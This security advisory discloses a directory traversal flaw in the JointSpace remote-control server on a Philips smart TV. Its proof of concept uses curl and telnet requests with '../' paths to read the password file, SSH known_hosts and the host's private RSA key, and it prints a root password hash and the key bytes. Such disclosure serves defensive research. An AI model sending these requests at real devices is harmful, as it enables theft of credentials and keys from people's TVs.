JointSpace Server Directory Traversal Vulnerability on a Philips 6000 Series Smart LED TV

The JointSpace Remote API is a Philips TV built-in interface for external programs to remote control the TV. Therefore, a HTTP server runs on TV devices on TCP port 1925 and provides a REST API. This JointSpace server is affected by a directory traversal vulnerability, which allows an attacker with access to the same network to retrieve files from the TV.

Affected Products

The test system is a Philips 42PFL6687K/12 running firmware version QF1EU-0.150.88.0_bld72a with the build timestamp 20/06/2013 02:11:53. Other products may be affected, too.

Impact

Due to a very limited access to a test device, this vulnerability was not investigated further, but access to sensitive information may be possible. Since the TV is capable of storing credentials for Internet services such as social media platforms and payment services, the possibility of leaking sensitive data cannot be precluded.

Proof of Concept

Files can be accessed via HTTP requests as shown below.

Reading the system's password file:

$ telnet 192.168.2.105 1925
Trying 192.168.2.105...
Connected to 192.168.2.105.
Escape character is '^]'.
GET /../../../../../etc/passwd HTTP/1.0

HTTP/1.0 200 OK
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Content-type: application/octet-stream
Date: Sat, 14 Sep 2013 21:22:11 GMT

root:rwiafNx/rlFbI:0:0:root:/root:/bin/sh
bin:*:1:1:bin:/bin:/dev/null
daemon:*:2:2:daemon:/sbin:/dev/null
adm:*:3:4:adm:/var/tmp:/dev/null
ftp:*:14:50:FTP User:/var/tmp:/dev/null
nobody:*:99:99:Nobody:/:/dev/null
rpcuser:x:29:29:RPC Service User:/var/tmp:/dev/null
nfsnobody:x:65534:65534:Anonymous NFS User:/var/tmp:/dev/null
Connection closed by foreign host.

Reading root's authorized keys:

$ curl -s "http://192.168.2.105:1925/../../../../root/.ssh/known_hosts" -o - 
172.21.1.1 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIE9RifQ74XpzUnEnkAnuBl84l
N7wVONqs5ZOxdEEJjFp2QMwHar+6H1OG7N02P5LCWoxHkfq92uA22ZoxrSctzgWSxhW/rXSs3kR
ikeasN4JUYIHg7MkHssQa0XoqfhiwxhCt7U0jDSq04Z+I21YwhmP49I82750tXRdAH8GTYB2f
172.21.1.2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIE9RifQ74XpzUnEnkAnuBl84l
N7wVONqs5ZOxdEEJjFp2QMwHar+6H1OG7N02P5LCWoxHkfq92uA22ZoxrSctzgWSxhW/rXSs3kR
ikeasN4JUYIHg7MkHssQa0XoqfhiwxhCt7U0jDSq04Z+I21YwhmP49I82750tXRdAH8GTYB2f

Reading host's SSH keys:

$ curl -s "http://192.168.2.105:1925/../../../..//etc/dropbear/dropbear_rsa_host_key" -o - | hd
00000000  00 00 00 07 73 73 68 2d  72 73 61 00 00 00 03 01  |....ssh-rsa.....|
00000010  00 01 00 00 00 83 00 88  13 d4 62 7d 0e f8 5e 9c  |..........b}..^.|
00000020  d4 9c 49 e4 02 7b 81 97  ce 25 37 bc 15 38 da ac  |..I..{...%7..8..|
00000030  e5 93 b1 74 41 09 8c 5a  76 40 cc 07 6a bf ba 1f  |...tA..Zv@..j...|
00000040  53 86 ec dd 36 3f 92 c2  5a 8c 47 91 fa bd da e0  |S...6?..Z.G.....|
00000050  36 d9 9a 31 ad 27 2d ce  05 92 c6 15 bf ad 74 ac  |6..1.'-.......t.|
00000060  de 44 62 91 e6 ac 37 82  54 60 81 e0 ec c9 07 b2  |.Db...7.T`......|
00000070  c4 1a d1 7a 2a 7e 18 b0  c6 10 ad ed 4d 23 0d 2a  |...z*~......M#.*|
00000080  b4 e1 9f 88 db 56 30 86  63 f8 f4 8f 36 ef 9d 2d  |.....V0.c...6..-|
00000090  5d 17 40 1f c1 93 60 1d  9f 00 00 00 82 3d a9 8a  |].@...`......=..|
000000a0  b0 d4 8d af 93 a4 0a 9e  05 c7 ba 2e 40 43 cb 88  |............@C..|
000000b0  c6 f0 46 47 9c a4 03 66  41 5f f6 46 be e0 91 3c  |..FG...fA_.F...<|
000000c0  7c 98 11 d1 ee a3 da 64  46 3a 59 a6 46 39 26 f1  ||......dF:Y.F9&.|
000000d0  f1 4e 9f aa 5f a0 01 8a  ea 99 ff 26 45 55 2b 8c  |.N.._......&EU+.|
000000e0  14 39 12 3f ac 75 30 ad  ac 0b fb 19 28 de 01 17  |.9.?.u0.....(...|
000000f0  4f 66 1a 91 0b d1 43 0b  be 65 07 c3 e8 77 39 26  |Of....C..e...w9&|
00000100  7d 2a 89 5a be 8b 11 8b  b1 c3 25 73 a2 2b 7e 65  |}*.Z......%s.+~e|
00000110  67 77 76 f7 b3 d7 90 9f  f0 9b b9 db 48 66 bd 00  |gwv.........Hf..|
00000120  00 00 42 00 ef 01 85 f2  72 67 11 0a 55 ac b2 86  |..B.....rg..U...|
00000130  28 0c 54 8f 80 21 c4 f5  ad 7b 1a 0e 65 e8 fc 9a  |(.T..!...{..e...|
00000140  58 0a 49 2b a7 70 ee 33  69 a5 a9 2a 14 29 59 67  |X.I+.p.3i..*.)Yg|
00000150  12 b9 85 f6 ec ae 84 31  63 af 4f de 14 37 e8 2c  |.......1c.O..7.,|
00000160  5f d5 37 0a 55 00 00 00  42 00 91 c0 c3 57 57 b2  |_.7.U...B....WW.|
00000170  f4 88 af 3f 37 50 47 59  65 0a 2a 1a ba 18 b7 11  |...?7PGYe.*.....|
00000180  90 e2 ae 3e 06 80 c8 4b  40 16 22 02 8c 18 4b 0d  |...>...K@."...K.|
00000190  16 3b 6d 01 30 a5 b9 31  36 b7 4d cd 68 5a e8 66  |.;m.0..16.M.hZ.f|
000001a0  47 b8 b2 9d f7 2d a5 7b  0e e4 23                 |G....-.{..#|
000001ab

Reading /proc/cpuinfo:

$ curl 'http://192.168.2.105:1925/../../../../proc/cpuinfo' -o -
system type                : Digital TRIDENT SYSTEM
processor                  : 0
cpu model                  : MIPS 74Kc V5.0  FPU V0.0
BogoMIPS                   : 499.92
wait instruction           : yes
microsecond timers         : yes
tlb_entries                : 64
extra interrupt vector     : yes
hardware watchpoint        : yes, count: 4, address/irw mask: [0x0000, 0x0b30, 0x0b00, 0x0e48]
ASEs implemented           : mips16 dsp
shadow register sets       : 1
core                       : 0
VCED exceptions            : not available
VCEI exceptions            : not available

Workaround

A workaround is currently not known.

Timeline

• 2013-09-14: Vulnerability discovered
• 2013-09-16: Advisory published
• 2013-09-16: Vendor noticed
• 2014-03-26: ReVuln used this vulnerability for the Miracast hack